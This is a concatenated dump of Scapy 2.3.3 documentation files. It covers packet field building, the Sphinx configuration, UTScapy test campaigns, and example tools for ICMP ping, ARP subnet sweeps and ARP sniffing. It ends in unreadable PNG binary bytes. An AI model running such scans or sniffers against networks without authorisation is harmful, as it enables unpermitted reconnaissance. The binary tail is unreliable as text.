val)`` is the right way to convert it. However, things are more complicated if ``val`` is not set, it means no default value was provided earlier, and thus the field needs to compute some "stuff" right now or later. "Right now" means thanks to ``i2m()``, if all pieces of information is available. For instance, if you have to handle a length until a certain delimiter. Ex: counting the length until a delimiter :: class XNumberField(FieldLenField): def __init__(self, name, default, sep="\r\n"): FieldLenField.__init__(self, name, default, fld) self.sep = sep def i2m(self, pkt, x): x = FieldLenField.i2m(self, pkt, x) return "%02x" % x def m2i(self, pkt, x): return int(x, 16) def addfield(self, pkt, s, val): return s+self.i2m(pkt, val) def getfield(self, pkt, s): sep = s.find(self.sep) return s[sep:], self.m2i(pkt, s[:sep]) In this example, in ``i2m()``, if ``x`` has already a value, it is converted to its hexadecimal value. If no value is given, a length of "0" is returned. The glue is provided by ``Packet.do_build()`` which calls ``Field.addfield()`` for each field in the layer, which in turn calls ``Field.i2m()``: the layer is built IF a value was available. Handling default values: ``post_build`` --------------------------------------- A default value for a given field is sometimes either not known or impossible to compute when the fields are put together. For instance, if we used a ``XNumberField`` as defined previously in a layer, we expect it to be set to a given value when the packet is built. However, nothing is returned by ``i2m()`` if it is not set. The answer to this problem is ``Packet.post_build()``. When this method is called, the packet is already built, but some fields still need to be computed. This is typically what is required to compute checksums or lengths. In fact, this is required each time a field's value depends on something which is not in the current So, let us assume we have a packet with a ``XNumberField``, and have a look to its building process:: class Foo(Packet): fields_desc = [ ByteField("type", 0), XNumberField("len", None, "\r\n"), StrFixedLenField("sep", "\r\n", 2) ] def post_build(self, p, pay): if self.len is None and pay: l = len(pay) p = p[:1] + hex(l)[2:]+ p[2:] return p+pay When ``post_build()`` is called, ``p`` is the current layer, ``pay`` the payload, that is what has already been built. We want our length to be the full length of the data put after the separator, so we add its computation in ``post_build()``. :: >>> p = Foo()/("X"*32) >>> p.show2() ###[ Foo ]### type= 0 len= 32 sep= '\r\n' ###[ Raw ]### load= 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' ``len`` is correctly computed now:: >>> hexdump(str(p)) 0000 00 32 30 0D 0A 58 58 58 58 58 58 58 58 58 58 58 .20..XXXXXXXXXXX 0010 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX 0020 58 58 58 58 58 XXXXX And the machine representation is the expected one. Handling default values: automatic computation ---------------------------------------------- As we have previously seen, the dissection mechanism is built upon the links between the layers created by the programmer. However, it can also be used during the building process. In the layer ``Foo()``, our first byte is the type, which defines what comes next, e.g. if ``type=0``, next layer is ``Bar0``, if it is 1, next layer is ``Bar1``, and so on. We would like then this field to be set automatically according to what comes next. :: class Bar1(Packet): fields_desc = [ IntField("val", 0), ] class Bar2(Packet): fields_desc = [ IPField("addr", "127.0.0.1") ] If we use these classes with nothing else, we will have trouble when dissecting the packets as nothing binds Foo layer with the multiple ``Bar*`` even when we explicitly build the packet through the call to ``show2()``:: >>> p = Foo()/Bar1(val=1337) >>> p > >>> p.show2() ###[ Foo ]### type= 0 len= 4 sep= '\r\n' ###[ Raw ]### load= '\x00\x00\x059' Problems: 1. ``type`` is still equal to 0 while we wanted it to be automatically set to 1. We could of course have built ``p`` with ``p = Foo(type=1)/Bar0(val=1337)`` but this is not very convenient. 2. the packet is badly dissected as ``Bar1`` is regarded as ``Raw``. This is because no links have been set between ``Foo()`` and ``Bar*()``. In order to understand what we should have done to obtain the proper behavior, we must look at how the layers are assembled. When two independent packets instances ``Foo()`` and ``Bar1(val=1337)`` are compounded with the '/' operator, it results in a new packet where the two previous instances are cloned (i.e. are now two distinct objects structurally different, but holding the same values):: def __div__(self, other): if isinstance(other, Packet): cloneA = self.copy() cloneB = other.copy() cloneA.add_payload(cloneB) return cloneA elif type(other) is str: return self/Raw(load=other) The right hand side of the operator becomes the payload of the left hand side. This is performed through the call to ``add_payload()``. Finally, the new packet is returned. Note: we can observe that if other isn't a ``Packet`` but a string, the ``Raw`` class is instantiated to form the payload. Like in this example:: >>> IP()/"AAAA" > Well, what ``add_payload()`` should implement? Just a link between two packets? Not only, in our case this method will appropriately set the correct value to ``type``. Instinctively we feel that the upper layer (the right of '/') can gather the values to set the fields to the lower layer (the left of '/'). Like previously explained, there is a convenient mechanism to specify the bindings in both directions between two neighbouring layers. Once again, these information must be provided to ``bind_layers()``, which will internally call ``bind_top_down()`` in charge to aggregate the fields to overload. In our case what we needs to specify is:: bind_layers( Foo, Bar1, {'type':1} ) bind_layers( Foo, Bar2, {'type':2} ) Then, ``add_payload()`` iterates over the ``overload_fields`` of the upper packet (the payload), get the fields associated to the lower packet (by its type) and insert them in ``overloaded_fields``. For now, when the value of this field will be requested, ``getfieldval()`` will return the value inserted in ``overloaded_fields``. The fields are dispatched between three dictionaries: - ``fields``: fields whose the value have been explicitly set, like ``pdst`` in TCP (``pdst='42'``) - ``overloaded_fields``: overloaded fields - ``default_fields``: all the fields with their default value (these fields are initialized according to ``fields_desc`` by the constructor by calling ``init_fields()`` ). In the following code we can observe how a field is selected and its value returned:: def getfieldval(self, attr): for f in self.fields, self.overloaded_fields, self.default_fields: if f.has_key(attr): return f[attr] return self.payload.getfieldval(attr) Fields inserted in ``fields`` have the higher priority, then ``overloaded_fields``, then finally ``default_fields``. Hence, if the field ``type`` is set in ``overloaded_fields``, its value will be returned instead of the value contained in ``default_fields``. We are now able to understand all the magic behind it! :: >>> p = Foo()/Bar1(val=0x1337) >>> p > >>> p.show() ###[ Foo ]### type= 1 len= 4 sep= '\r\n' ###[ Bar1 ]### val= 4919 Our 2 problems have been solved without us doing much: so good to be lazy :) Under the hood: putting everything together ------------------------------------------- Last but not least, it is very useful to understand when each function is called when a packet is built:: >>> hexdump(str(p)) Packet.str=Foo Packet.iter=Foo Packet.iter=Bar1 Packet.build=Foo Packet.build=Bar1 Packet.post_build=Bar1 Packet.post_build=Foo As you can see, it first runs through the list of each field, and then build them starting from the beginning. Once all layers have been built, it then calls ``post_build()`` starting from the end. Fields ====== .. index:: single: fields Here's a list of fields that Scapy supports out of the box: Simple datatypes ---------------- Legend: - ``X`` - hexadecimal representation - ``LE`` - little endian (default is big endian = network byte order) - ``Signed`` - signed (default is unsigned) :: ByteField XByteField ShortField SignedShortField LEShortField XShortField X3BytesField # three bytes (in hexad IntField SignedIntField LEIntField LESignedIntField XIntField LongField XLongField LELongField IEEEFloatField IEEEDoubleField BCDFloatField # binary coded decimal BitField XBitField BitFieldLenField # BitField specifying a length (used in RTP) FlagsField FloatField Enumerations ------------ Possible field values are taken from a given enumeration (list, dictionary, ...) e.g.:: ByteEnumField("code", 4, {1:"REQUEST",2:"RESPONSE",3:"SUCCESS",4:"FAILURE"}) :: EnumField(name, default, enum, fmt = "H") CharEnumField BitEnumField ShortEnumField LEShortEnumField ByteEnumField IntEnumField SignedIntEnumField LEIntEnumField XShortEnumField Strings ------- :: StrField(name, default, fmt="H", remain=0, shift=0) StrLenField(name, default, fld=None, length_from=None, shift=0): StrFixedLenField StrNullField StrStopField Lists and lengths ----------------- :: FieldList(name, default, field, fld=None, shift=0, length_from=None, count_from=None) # A list assembled and dissected with many times the same field type # field: instance of the field that will be used to assemble and disassemble a list item # length_from: name of the FieldLenField holding the list length FieldLenField # holds the list length of a FieldList field LEFieldLenField LenField # contains len(pkt.payload) PacketField # holds packets PacketLenField # used e.g. in ISAKMP_payload_Proposal PacketListField Variable length fields ^^^^^^^^^^^^^^^^^^^^^^ This is about how fields that have a variable length can be handled with Scapy. These fields usually know their length from another field. Let's call them varfield and lenfield. The idea is to make each field reference the other so that when a packet is dissected, varfield can know its length from lenfield when a packet is assembled, you don't have to fill lenfield, that will deduce its value directly from varfield value. Problems arise when you realize that the relation between lenfield and varfield is not always straightforward. Sometimes, lenfield indicates a length in bytes, sometimes a number of objects. Sometimes the length includes the header part, so that you must subtract the fixed header length to deduce the varfield length. Sometimes the length is not counted in bytes but in 16bits words. Sometimes the same lenfield is used by two different varfields. Sometimes the same varfield is referenced by two lenfields, one in bytes one in 16bits words. The length field ~~~~~~~~~~~~~~~~ First, a lenfield is declared using ``FieldLenField`` (or a derivate). If its value is None when assembling a packet, its value will be deduced from the varfield that was referenced. The reference is done using either the ``length_of`` parameter or the ``count_of`` parameter. The ``count_of`` parameter has a meaning only when varfield is a field that holds a list (``PacketListField`` or ``FieldListField``). The value will be the name of the varfield, as a string. According to which parameter is used the ``i2len()`` or ``i2count()`` method will be called on the varfield value. The returned value will the be adjusted by the function provided in the adjust parameter. adjust will be applied on 2 arguments: the packet instance and the value returned by ``i2len()`` or ``i2count()``. By default, adjust does nothing:: adjust=lambda pkt,x: x For instance, if ``the_varfield`` is a list :: FieldLenField("the_lenfield", None, count_of="the_varfield") or if the length is in 16bits words:: FieldLenField("the_lenfield", None, length_of="the_varfield", adjust=lambda pkt,x:(x+1)/2) The variable length field ~~~~~~~~~~~~~~~~~~~~~~~~~ A varfield can be: ``StrLenField``, ``PacketLenField``, ``PacketListField``, ``FieldListField``, ... For the two firsts, when a packet is being dissected, their lengths are deduced from a lenfield already dissected. The link is done using the ``length_from`` parameter, which takes a function that, applied to the partly dissected packet, returns the length in bytes to take for the field. For instance:: StrLenField("the_varfield", "the_default_value", length_from = lambda pkt: pkt.the_lenfield) or :: StrLenField("the_varfield", "the_default_value", length_from = lambda pkt: pkt.the_lenfield-12) For the ``PacketListField`` and ``FieldListField`` and their derivatives, they work as above when they need a length. If they need a number of elements, the length_from parameter must be ignored and the count_from parameter must be used instead. For instance:: FieldListField("the_varfield", ["1.2.3.4"], IPField("", "0.0.0.0"), count_from = lambda pkt: pkt.the_lenfield) Examples ^^^^^^^^ :: class TestSLF(Packet): fields_desc=[ FieldLenField("len", None, length_of="data"), StrLenField("data", "", length_from=lambda pkt:pkt.len) ] class TestPLF(Packet): fields_desc=[ FieldLenField("len", None, count_of="plist"), PacketListField("plist", None, IP, count_from=lambda pkt:pkt.len) ] class TestFLF(Packet): fields_desc=[ FieldLenField("the_lenfield", None, count_of="the_varfield"), FieldListField("the_varfield", ["1.2.3.4"], IPField("", "0.0.0.0"), count_from = lambda pkt: pkt.the_lenfield) ] class TestPkt(Packet): fields_desc = [ ByteField("f1",65), ShortField("f2",0x4244) ] def extract_padding(self, p): return "", p class TestPLF2(Packet): fields_desc = [ FieldLenField("len1", None, count_of="plist",fmt="H", adjust=lambda pkt,x:x+2), FieldLenField("len2", None, length_of="plist",fmt="I", adjust=lambda pkt,x:(x+1)/2), PacketListField("plist", None, TestPkt, length_from=lambda x:(x.len2*2)/3*3) ] Test the ``FieldListField`` class:: >>> TestFLF("\x00\x02ABCDEFGHIJKL") > Special ------- :: Emph # Wrapper to emphasize field when printing, e.g. Emph(IPField("dst", "127.0.0.1")), ActionField ConditionalField(fld, cond) # Wrapper to make field 'fld' only appear if # function 'cond' evals to True, e.g. # ConditionalField(XShortField("chksum",None),lambda pkt:pkt.chksumpresent==1) PadField(fld, align, padwith=None) # Add bytes after the proxified field so that it ends at # the specified alignment from its beginning TCP/IP ------ :: IPField SourceIPField IPoptionsField TCPOptionsField MACField DestMACField(MACField) SourceMACField(MACField) ARPSourceMACField(MACField) ICMPTimeStampField 802.11 ------ :: Dot11AddrMACField Dot11Addr2MACField Dot11Addr3MACField Dot11Addr4MACField Dot11SCField DNS --- :: DNSStrField DNSRRCountField DNSRRField DNSQRField RDataField RDLenField ASN.1 ----- :: ASN1F_element ASN1F_field ASN1F_INTEGER ASN1F_enum_INTEGER ASN1F_STRING ASN1F_OID ASN1F_SEQUENCE ASN1F_SEQUENCE_OF ASN1F_PACKET ASN1F_CHOICE Other protocols --------------- :: NetBIOSNameField # NetBIOS (StrFixedLenField) ISAKMPTransformSetField # ISAKMP (StrLenField) TimeStampField # NTP (BitField) Design patterns =============== Some patterns are similar to a lot of protocols and thus can be described the same way in Scapy. The following parts will present several models and conventions that can be followed when implementing a new protocol. Field naming convention ----------------------- The goal is to keep the writing of packets fluent and intuitive. The basic instructions are the following : * Use inverted camel case and common abbreviations (e.g. len, src, dst, dstPort, srcIp). * Wherever it is either possible or relevant, prefer using the names from the specifications. This aims to help newcomers to easily forge packets. scapy-2.3.3/doc/scapy/conf.py000066400000000000000000000131171300136037300160200ustar00rootroot00000000000000# -*- coding: utf-8 -*- # # Scapy documentation build configuration file, created by # sphinx-quickstart on Mon Sep 8 19:37:39 2008. # # This file is execfile()d with the current directory set to its containing dir. # # The contents of this file are pickled, so don't put values in the namespace # that aren't pickleable (module imports are okay, they're removed automatically). # # All configuration values have a default value; values that are commented out # serve to show the default value. import sys, os # If your extensions are in another directory, add it here. If the directory # is relative to the documentation root, use os.path.abspath to make it # absolute, like shown here. #sys.path.append(os.path.abspath('some/directory')) # General configuration # --------------------- # Add any Sphinx extension module names here, as strings. They can be extensions # coming with Sphinx (named 'sphinx.ext.*') or your custom ones. extensions = [] # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # The suffix of source filenames. source_suffix = '.rst' # The master toctree document. master_doc = 'index' # General substitutions. project = 'Scapy' copyright = '2008, 2009 Philippe Biondi and the Scapy community' # The default replacements for |version| and |release|, also used in various # other places throughout the built documents. # # The short X.Y version. version = '2.3.1' # The full version, including alpha/beta/rc tags. release = '2.3.1-dev' # There are two options for replacing |today|: either, you set today to some # non-false value, then it is used: #today = '' # Else, today_fmt is used as the format for a strftime call. today_fmt = '%B %d, %Y' # List of documents that shouldn't be included in the build. #unused_docs = [] # List of directories, relative to source directories, that shouldn't be searched # for source files. #exclude_dirs = [] # The reST default role (used for this markup: `text`) to use for all documents. #default_role = None # If true, '()' will be appended to :func: etc. cross-reference text. #add_function_parentheses = True # If true, the current module name will be prepended to all description # unit titles (such as .. function::). #add_module_names = True # If true, sectionauthor and moduleauthor directives will be shown in the # output. They are ignored by default. #show_authors = False # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # Options for HTML output # ----------------------- # The style sheet to use for HTML and HTML Help pages. A file of that name # must exist either in Sphinx' static/ path, or in one of the custom paths # given in html_static_path. html_style = 'default.css' # The name for this set of Sphinx documents. If None, it defaults to # " v documentation". #html_title = None # A shorter title for the navigation bar. Default is the same as html_title. #html_short_title = None # The name of an image file (within the static path) to place at the top of # the sidebar. #html_logo = None # The name of an image file (within the static path) to use as favicon of the # docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 # pixels large. #html_favicon = None # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['_static'] # If not '', a 'Last updated on:' timestamp is inserted at every page bottom, # using the given strftime format. html_last_updated_fmt = '%b %d, %Y' # If true, SmartyPants will be used to convert quotes and dashes to # typographically correct entities. #html_use_smartypants = True # Custom sidebar templates, maps document names to template names. #html_sidebars = {} # Additional templates that should be rendered to pages, maps page names to # template names. #html_additional_pages = {} # If false, no module index is generated. html_use_modindex = False # If false, no index is generated. #html_use_index = True # If true, the index is split into individual pages for each letter. #html_split_index = False # If true, the reST sources are included in the HTML build as _sources/. #html_copy_source = True # If true, an OpenSearch description file will be output, and all pages will # contain a tag referring to it. The value of this option must be the # base URL from which the finished HTML is served. #html_use_opensearch = '' # If nonempty, this is the file name suffix for HTML files (e.g. ".xhtml"). #html_file_suffix = '' # Output file base name for HTML help builder. htmlhelp_basename = 'Scapydoc' # Options for LaTeX output # ------------------------ # The paper size ('letter' or 'a4'). latex_paper_size = 'a4' # The font size ('10pt', '11pt' or '12pt'). latex_font_size = '11pt' # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, author, document class [howto/manual]). latex_documents = [ ('index', 'Scapy.tex', 'Scapy Documentation', 'Philippe Biondi and the Scapy community', 'manual'), ] # The name of an image file (relative to this directory) to place at the top of # the title page. #latex_logo = None # For "manual" documents, if this is true, then toplevel headings are parts, # not chapters. #latex_use_parts = False # Additional stuff for the LaTeX preamble. #latex_preamble = '' # Documents to append as an appendix to all manuals. #latex_appendices = [] # If false, no module index is generated. latex_use_modindex = False scapy-2.3.3/doc/scapy/development.rst000066400000000000000000000310651300136037300175770ustar00rootroot00000000000000***************** Scapy development ***************** Project organization ==================== Scapy development uses the Git version control system. Scapy's reference repository is at https://github.com/secdev/scapy/. Project management is done with `Github `_. It provides a freely editable `Wiki `_ (please contribute!) that can reference tickets, changesets, files from the project. It also provides a ticket management service that is used to avoid forgetting patches or bugs. How to contribute ================= * Found a bug in Scapy? `Add a ticket `_. * Improve this documentation. * Program a new layer and share it on the mailing list, or create a pull request. * Contribute new `regression tests `_. * Upload packet samples for new protocols on the `packet samples page `_. Improve the documentation ========================= The documentation can be improved in several ways by: * Adding docstrings to the source code. * Adding usage examples to the documentation. Adding Docstrings ----------------- The Scapy source code have few explanations of what a function is doing. A docstring, by adding explanation and expected input and output parameters, helps saving time for both the layer developers and the users looking for advanced features. An example of docstring from the ``scapy.fields.FlagsField`` class: :: class FlagsField(BitField): """ Handle Flag type field Make sure all your flags have a label Example: >>> from scapy.packet import Packet >>> class FlagsTest(Packet): fields_desc = [FlagsField("flags", 0, 8, ["f0", "f1", "f2", "f3", "f4", "f5", "f6", "f7"])] >>> FlagsTest(flags=9).show2() ###[ FlagsTest ]### flags = f0+f3 >>> FlagsTest(flags=0).show2().strip() ###[ FlagsTest ]### flags = :param name: field's name :param default: default value for the field :param size: number of bits in the field :param names: (list or dict) label for each flag, Least Significant Bit tag's name is written first """ It will contain a short oneline description of the class followed by some indications about its usage. You can add a usage example if it makes sense using the `doctest `_ format. Finally the classic python signature can be added following the `sphinx documentation `_. This task works in pair with writing non regression unit tests. Documentation ------------- A way to improve the documentation content is by keeping it up to date with the latest version of Scapy. You can also help by adding usage examples of your own or directly gathered from existing online Scapy presentations. Testing with UTScapy ==================== What is UTScapy? ---------------- UTScapy is a small Python program that reads a campaign of tests, runs the campaign with Scapy and generates a report indicating test status. The report may be in one of four formats, text, ansi, HTML or LaTeX. Three basic test containers exist with UTScapy, a unit test, a test set and a test campaign. A unit test is a list of Scapy commands that will be run by Scapy or a derived work of Scapy. Evaluation of the last command in the unit test will determine the end result of the individual unit test. A test set is a group of unit tests with some association. A test campaign consists of one or more test sets. Test sets and unit tests can be given keywords to form logical groupings. When running a campaign, tests may be selected by keyword. This allows the user to run tests within a desired grouping. For each unit test, test set and campaign, a CRC32 of the test is calculated and displayed as a signature of that test. This test signature is sufficient to determine that the actual test run was the one expected and not one that has been modified. In case your dealing with evil people that try to modify or corrupt the file without changing the CRC32, a global SHA1 is computed on the whole file. Syntax of a Test Campaign ------------------------- Table 1 shows the syntax indicators that UTScapy is looking for. The syntax specifier must appear as the first character of each line of the text file that defines the test. Text descriptions that follow the syntax specifier are arguments interpreted by UTScapy. Lines that appear without a leading syntax specifier will be treated as Python commands, provided they appear in the context of a unit test. Lines without a syntax specifier that appear outside the correct context will be rejected by UTScapy and a warning will be issued. ================ ================= Syntax Specifier Definition ================ ================= ‘%’ Give the test campaign's name. ‘+’ Announce a new test set. ‘=’ Announce a new unit test. ‘~’ Announce keywords for the current unit test. ‘*’ Denotes a comment that will be included in the report. ‘#’ Testcase annotations that are discarded by the interpreter. ================ ================= Table 1 - UTScapy Syntax Specifiers Comments placed in the test report have a context. Each comment will be associated to the last defined test container - be it a individual unit test, a test set or a test campaign. Multiple comments associated with a particular container will be concatenated together and will appear in the report directly after the test container announcement. General comments for a test file should appear before announcing a test campaign. For comments to be associated with a test campaign, they must appear after declaration of the test campaign but before any test set or unit test. Comments for a test set should appear before definition of the set’s first unit test. The generic format for a test campaign is shown in the following table:: % Test Campaign Name * Comment describing this campaign + Test Set 1 * comments for test set 1 = Unit Test 1 ~ keywords * Comments for unit test 1 # Python statements follow a = 1 print a a == 1 Python statements are identified by the lack of a defined UTScapy syntax specifier. The Python statements are fed directly to the Python interpreter as if one is operating within the interactive Scapy shell (``interact``). Looping, iteration and conditionals are permissible but must be terminated by a blank line. A test set may be comprised of multiple unit tests and multiple test sets may be defined for each campaign. It is even possible to have multiple test campaigns in a particular test definition file. The use of keywords allows testing of subsets of the entire campaign. For example, during development of a test campaign, the user may wish to mark new tests under development with the keyword “debug”. Once the tests run successfully to their desired conclusion, the keyword “debug” could be removed. Keywords such as “regression” or “limited” could be used as well. It is important to note that UTScapy uses the truth value from the last Python statement as the indicator as to whether a test passed or failed. Multiple logical tests may appear on the last line. If the result is 0 or False, the test fails. Otherwise, the test passes. Use of an assert() statement can force evaluation of intermediate values if needed. The syntax for UTScapy is shown in Table 3 - UTScapy command line syntax:: [root@localhost scapy]# ./UTscapy.py –h Usage: UTscapy [-m module] [-f {text|ansi|HTML|LaTeX}] [-o output_file] [-t testfile] [-k keywords [-k ...]] [-K keywords [-K ...]] [-l] [-d|-D] [-F] [-q[q]] -l : generate local files -F : expand only failed tests -d : dump campaign -D : dump campaign and stop -C : don't calculate CRC and SHA -q : quiet mode -qq : [silent mode] -n : only tests whose numbers are given (eg. 1,3-7,12) -m : additional module to put in the namespace -k ,,... : include only tests with one of those keywords (can be used many times) -K ,,... : remove tests with one of those keywords (can be used many times) Table 3 - UTScapy command line syntax All arguments are optional. Arguments that have no associated argument value may be strung together (i.e. ``–lqF``). If no testfile is specified, the test definition comes from . Similarly, if no output file is specified it is directed to . The default output format is “ansi”. Table 4 lists the arguments, the associated argument value and their meaning to UTScapy. ========== ============== ============================================================================= Argument Argument Value Meaning to UTScapy ========== ============== ============================================================================= -t testfile Input test file defining test campaign (default = ) -o output_file File for output of test campaign results (default = ) -f test ansi, HTML, LaTeX, Format out output report (default = ansi) -l Generate report associated files locally. For HTML, generates JavaScript and the style sheet -F Failed test cases will be initially expanded by default in HTML output -d Print a terse listing of the campaign before executing the campaign -D Print a terse listing of the campaign and stop. Do not execute campaign -C Do not calculate test signatures -q Do not update test progress to the screen as tests are executed -qq Silent mode -n testnum Execute only those tests listed by number. Test numbers may be retrieved using –d or –D. Tests may be listed as a comma separated list and may include ranges (e.g. 1, 3-7, 12) -m module Load module before executing tests. Useful in testing derived works of Scapy. Note: Derived works that are intended to execute as "__main__" will not be invoked by UTScapy as “__main__”. -k kw1, kw2, ... Include only tests with keyword “kw1”. Multiple keywords may be specified. -K kw1, kw2, ... Exclude tests with keyword “kw1”. Multiple keywords may be specified. ========== ============== ============================================================================= Table 4 - UTScapy parameters Table 5 shows a simple test campaign with multiple test set definitions. Additionally, keywords are specified that allow a limited number of test cases to be executed. Notice the use of the ``assert()`` statement in test 3 and 5 used to check intermediate results. Tests 2 and 5 will fail by design. :: % Example Test Campaign # Comment describing this campaign # # To run this campaign, try: # ./UTscapy.py -t example_campaign.txt -f html -o example_campaign.html -F # * This comment is associated with the test campaign and will appear * in the produced output. + Test Set 1 = Unit Test 1 ~ test_set_1 simple a = 1 print a = Unit test 2 ~ test_set_1 simple * this test will fail b = 2 a == b = Unit test 3 ~ test_set_1 harder a = 1 b = 2 c = "hello" assert (a != b) c == "hello" + Test Set 2 = Unit Test 4 ~ test_set_2 harder b = 2 d = b d is b = Unit Test 5 ~ test_set_2 harder hardest a = 2 b = 3 d = 4 e = (a * b)**d # The following statement evaluates to False but is not last; continue e == 6 # assert evaluates to False; stop test and fail assert (e == 7) e == 1296 = Unit Test 6 ~ test_set_2 hardest print e e == 1296 To see an example that is targeted to Scapy, go to http://www.secdev.org/projects/UTscapy. Cut and paste the example at the bottom of the page to the file ``demo_campaign.txt`` and run UTScapy against it:: ./UTscapy.py -t demo_campaign.txt -f html -o demo_campaign.html –F -l Examine the output generated in file ``demo_campaign.html``. scapy-2.3.3/doc/scapy/extending.rst000066400000000000000000000066001300136037300172370ustar00rootroot00000000000000******************** Build your own tools ******************** You can use Scapy to make your own automated tools. You can also extend Scapy without having to edit its source file. If you have built some interesting tools, please contribute back to the mailing-list! Using Scapy in your tools ========================= You can easily use Scapy in your own tools. Just import what you need and do it. This first example take an IP or a name as first parameter, send an ICMP echo request packet and display the completely dissected return packet:: #! /usr/bin/env python import sys from scapy.all import sr1,IP,ICMP p=sr1(IP(dst=sys.argv[1])/ICMP()) if p: p.show() This is a more complex example which does an ARP ping and reports what it found with LaTeX formatting:: #! /usr/bin/env python # arping2tex : arpings a network and outputs a LaTeX table as a result import sys if len(sys.argv) != 2: print "Usage: arping2tex \n eg: arping2tex 192.168.1.0/24" sys.exit(1) from scapy.all import srp,Ether,ARP,conf conf.verb=0 ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=sys.argv[1]), timeout=2) print r"\begin{tabular}{|l|l|}" print r"\hline" print r"MAC & IP\\" print r"\hline" for snd,rcv in ans: print rcv.sprintf(r"%Ether.src% & %ARP.psrc%\\") print r"\hline" print r"\end{tabular}" Here is another tool that will constantly monitor all interfaces on a machine and print all ARP request it sees, even on 802.11 frames from a Wi-Fi card in monitor mode. Note the store=0 parameter to sniff() to avoid storing all packets in memory for nothing:: #! /usr/bin/env python from scapy.all import * def arp_monitor_callback(pkt): if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%") sniff(prn=arp_monitor_callback, filter="arp", store=0) For a real life example, you can check `Wifitap `_. Extending Scapy with add-ons ============================ If you need to add some new protocols, new functions, anything, you can write it directly into Scapy source file. But this is not very convenient. Even if those modifications are to be integrated into Scapy, it can be more convenient to write them in a separate file. Once you've done that, you can launch Scapy and import your file, but this is still not very convenient. Another way to do that is to make your file executable and have it call the Scapy function named interact():: #! /usr/bin/env python # Set log level to benefit from Scapy warnings import logging logging.getLogger("scapy").setLevel(1) from scapy.all import * class Test(Packet): name = "Test packet" fields_desc = [ ShortField("test1", 1), ShortField("test2", 2) ] def make_test(x,y): return Ether()/IP()/Test(test1=x,test2=y) if __name__ == "__main__": interact(mydict=globals(), mybanner="Test add-on v3.14") If you put the above listing in the test_interact.py file and make it executable, you'll get:: # ./test_interact.py Welcome to Scapy (0.9.17.109beta) Test add-on v3.14 >>> make_test(42,666) >> scapy-2.3.3/doc/scapy/graphics/000077500000000000000000000000001300136037300163165ustar00rootroot00000000000000scapy-2.3.3/doc/scapy/graphics/ATMT_HelloWorld.png000066400000000000000000000160661300136037300217350ustar00rootroot00000000000000PNG  IHDRkTDbKGD X pHYsHHFk>IDATxy\OW!I(%d4% >C3Rd/ckb0cD%!c'k(d!T 1hQJ8̝"S|νus9WKBrt!!DVYbbbFgS$Z_5 (]("D6{niR$\vr[M%[,WS&*]RRP!D% B,JY(!(QBdQ ȢDAE"!D% B,JY(! 4(LU޾eqΜ\ '/Y??|'}3fXzwx,,f.4Ŭ,YܲE}}?^ٳY\@GRFb@_|%M8o^p_ξ}n|yYX (9E33Xb1!!GDxR"O<9^]SFUyJ ʟ?s>mX&2E=빺,ٓř3Yܴ!!EI-ؽ{婩~Ƿ_Ž{?=Dݰ%KX̙ r-~ĵ\E۶U#ȩE㉂-ܹ6zo]Y;7oʕ,)"QT"oy"gh?{Eh8ވ,67 Zohx<LLTy^^,],iHay{oExc.!N-Et4JcZ, ߞߚ>gӮbzߟ)STgdyb"D 2׿^NȢ0QEuM!)Xs2!5 BzDAE"!D% B,JY(!(QBdQ ȢDAUѣlWW7HZP&z(]RR&u+֭T[qolـ<Ǡ .KyXSK/_ H JI[tTd.`i, B4tAOZZ?LxcXҥ"DP!D% B,JY(!(QBdQ ȢDAE"!D% B,JY(!(QBdQ ȢDAE"!D% B,JY(!(QE-ZHJJJJJk׮]vٳgϞ^^^^^^@ddddd{z_~5ÇJCBBBBB'OjժUV-V€sΝE\p… K.]$9k׮]6Plٲe Vҩ.&M4i9…̉]ܴvqL5jԨ}۷Q?F#>}{Dݽ{ݻdUVZM6mڴ ԩSN?3gΜ9sG=z=Ν;wxŋ/_|%жm۶mJ5 ^ٱcǎ;| &L %߿h׮]v~\׮]vZ+VX"РA ;wܹs'lٲe˖G9rTTRJǏܸqƍ@*UT"ﴴ4ӧO6nܸqFi666666Ry 2dN:uԑ~?,,,,,,r ^ׯ_xɓ'O;wܹsGԯ_~JPJ 6lذapj"M}n*P}#3f̘1c Za̘1cƌyN8A` F_Xʕ+W\Y_]|uUA`SXA=zQAhѢE-!xyNpAprrrrr aA8~ǥ522222۷o߾}[!:::::Z*7K0mڴiӦ ;%(A$  бcǎ; ¬Yf͚%zիWKaÆ 6(W:ճgϞ={ Η.]c]{KWtݻwoO?333 xϥ{g~ENLLLLL mmmmmmjժUV{˗/_|y8?f 5tP%i;??????Yf͚5O>}tbŊ+Vʕ+W\T؉ l  jn }w}J 8pʵiӦM6R+7tz*TPB` xN dgg ,X`tTҔ6 s@.]t+toŝ;IUj7o޼y&ë|ajJ. )峔R>˽ժUVtkQ9X(cT\SD@ec_P])A=:tXVVvPoo+Bzyo5"Ra6lo&LֶW^U[ylS*V8pWJmb,]xݺu֭Я_~I\Rco$:rרQF@_qsssssZlٲeK)[ xR+W\rhڴiӦM͛7o\ά8uԩS[RyeA Cj-iOU%j߿>Um߳*oe::::::wZFFFFF 1bĈ >|Fӕbccccc֪fϞ={l`ԨQFR]yxǭ޽{;-_|個KkV[p5o4.)(Q Ǐ?V4u)xΞ={R /Q|*(Q<)]S3 !(QBdQ ȢDAEBCL2e 88888XR=> ѣG=>|R799)*#==xJ£D!| |L tޱcǎ; ,oիW^Ν;wYOQ,mܸqƍύlٲe{yQeQN^EEEEEEݻw޽4Sj'ٺu֭[ɓ'O+6ߎOM8qĉ@LLLLLeG5b6tСCJTwW^~\sڶm۶mۤ_֭[nZW`|{_PD7|,|,|,~gIwW^M{5Ʋ8WWWWWW)Qpsc͛7o0yts^I8>E^TTP<(ULNo/7'O'gR0sy(SSg ~˕sۿPddy(8J 